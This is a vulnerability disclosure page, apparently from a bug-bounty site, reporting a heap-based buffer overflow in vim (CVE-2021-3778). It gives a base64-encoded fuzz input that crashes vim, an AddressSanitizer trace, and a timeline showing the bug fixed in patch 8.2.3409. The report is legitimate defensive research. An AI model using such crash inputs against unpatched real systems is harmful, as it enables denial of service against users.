Heap-based Buffer Overflow in vim/vim

Valid Reported on Sep 7th 2021

0

✍️ Description

While testing vim built from `commit ddfc051` with Ubuntu clang version 12.0.0-3ubuntu1~20.04.3 and Address Sanitizer, we discovered crafted input which triggers a heap-buffer-overflow, READ of size 1.

🕵️ Proof of Concept

```
git clone https://github.com/vim/vim

LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS

make
```

```
echo "Ywp2XTCqCi4KeQpAMA==" | base64 -d > fuzz000.txt

vim -u NONE -X -Z -e -s -S fuzz000.txt -c :qa!


cat  fuzz000.txt | od -tx1
0000000 63 0a 76 5d 30 aa 0a 2e 0a 79 0a 40 30
0000015
```

The above POC produces this ASan stack trace:

```
==21690==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000
READ of size 1 at 0x621000012900 thread T0
    #0 0xa5584b in utf_ptr2char /home/geeknik/vim/src/mbyte.c:1788:9
    #1 0xdc82f5 in find_match_text /home/geeknik/vim/src/./regexp_nfa.c:567
    #2 0xdc82f5 in nfa_regexec_both /home/geeknik/vim/src/./regexp_nfa.c:74
    #3 0xea747e in vim_regexec_multi /home/geeknik/vim/src/regexp.c:2915:14
    #4 0x7b1f7a in ex_global /home/geeknik/vim/src/ex_cmds.c:4964:14
    #5 0x7f1aef in do_one_cmd /home/geeknik/vim/src/ex_docmd.c:2610:2
    #6 0x7f1aef in do_cmdline /home/geeknik/vim/src/ex_docmd.c:999:17
    #7 0x7e05d9 in ex_at /home/geeknik/vim/src/ex_docmd.c:7896:12
    #8 0x7f1aef in do_one_cmd /home/geeknik/vim/src/ex_docmd.c:2610:2
    #9 0x7f1aef in do_cmdline /home/geeknik/vim/src/ex_docmd.c:999:17
    #10 0xf14dc0 in do_source /home/geeknik/vim/src/scriptfile.c:1406:5
    #11 0xf22dd2 in cmd_source /home/geeknik/vim/src/scriptfile.c:971:14
    #12 0xf22dd2 in ex_source /home/geeknik/vim/src/scriptfile.c:997:2
    #13 0x7f1aef in do_one_cmd /home/geeknik/vim/src/ex_docmd.c:2610:2
    #14 0x7f1aef in do_cmdline /home/geeknik/vim/src/ex_docmd.c:999:17
    #15 0x150faa5 in do_cmdline_cmd /home/geeknik/vim/src/ex_docmd.c:593:12
    #16 0x150faa5 in exe_commands /home/geeknik/vim/src/main.c:3081:2
    #17 0x150faa5 in vim_main2 /home/geeknik/vim/src/main.c:773:2
    #18 0x15082c9 in main /home/geeknik/vim/src/main.c:425:12
    #19 0x7f36d03500b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #20 0x3c822d in _start (/home/geeknik/vim/src/vim+0x3c822d)

0x621000012900 is located 0 bytes to the right of 4096-byte region [0x6210
allocated by thread T0 here:
    #0 0x44348d in malloc (/home/geeknik/vim/src/vim+0x44348d)
    #1 0x477d9d in lalloc /home/geeknik/vim/src/alloc.c:244:11

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/geeknik/vim/src/mbyte
```

💥 Impact

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-

time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.
When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Occurrences

C alloc.c L244 C mbyte.c L1788

References

- CWE-122: Heap-based Buffer Overflow

CVE
CVE-2021-3778
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
High (7.8)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

geeknik
@geeknik
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 1,036 times.

We have contacted a member of the **vim** team and are waiting to hear back a year ago

Bram Moolenaar validated this vulnerability a year ago

geeknik has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Bram Moolenaar a year ago Maintainer

Fix is patch 8.2.3409

Bram Moolenaar marked this as fixed with commit **65b605** a year ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ×

geeknik a year ago Researcher

Confirming patch 8.2.3409 fixes the report issue. Nothing to follow-up with this time. Thank you.

Jamie Slome a year ago Admin

CVE published! 🎉

Thanks for the great research all!

Ref 📝
CVE-2021-3778

Sign in to join this conversation